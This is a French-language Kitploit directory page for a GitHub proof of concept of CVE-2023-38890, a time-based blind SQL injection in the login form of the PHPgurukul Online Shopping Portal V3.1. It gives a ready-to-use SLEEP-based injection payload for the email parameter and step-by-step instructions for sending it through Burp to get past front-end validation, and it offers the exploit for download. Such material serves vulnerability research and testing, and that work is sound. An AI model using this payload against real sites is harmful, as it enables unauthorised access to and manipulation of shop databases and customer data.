Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-38890 — poc | Kitploit
Outils/GitHubGitHub/akshadjoshi/cve-2023-38890
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubakshadjoshi/cve-2023-38890

CVE-2023-38890

poc

Voir le dépôt
il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-38890

Description

Le projet Online Shopping Portal V3.1 permet à des attaquants distants d'exécuter des commandes/requêtes SQL arbitraires via le formulaire de connexion, entraînant un accès non autorisé et une éventuelle manipulation des données. Cette vulnérabilité résulte d'une validation insuffisante des entrées fournies par l'utilisateur dans le champ nom d'utilisateur, permettant des attaques par injection SQL.


Exploit Title: Online Shopping Portal Project V3.1 PHPgurukul - Blind Sqli basé sur le temps

Exploit Author: Akshad Joshi

Vendor Homepage: https://phpgurukul.com

Software Link: https://phpgurukul.com/shopping-portal-free-download/

Tested on: Linux

Étapes pour reproduire

utiliser cette charge utile (encoder en URL):

root@kitploit:~
[email protected]' AND (SELECT 1866 FROM (SELECT(SLEEP(10)))JHcH) AND 'GMDH'='GMDH
  1. visitez-http://localhost/shopping/login.php
  2. connectez-vous avec le compte que vous avez créé.
  3. il y a une validation côté front-end, alors capturez la requête dans burp .
  4. passez la charge utile ci-dessus dans le paramètre email et observez le temps de réponse
Télécharger l’outil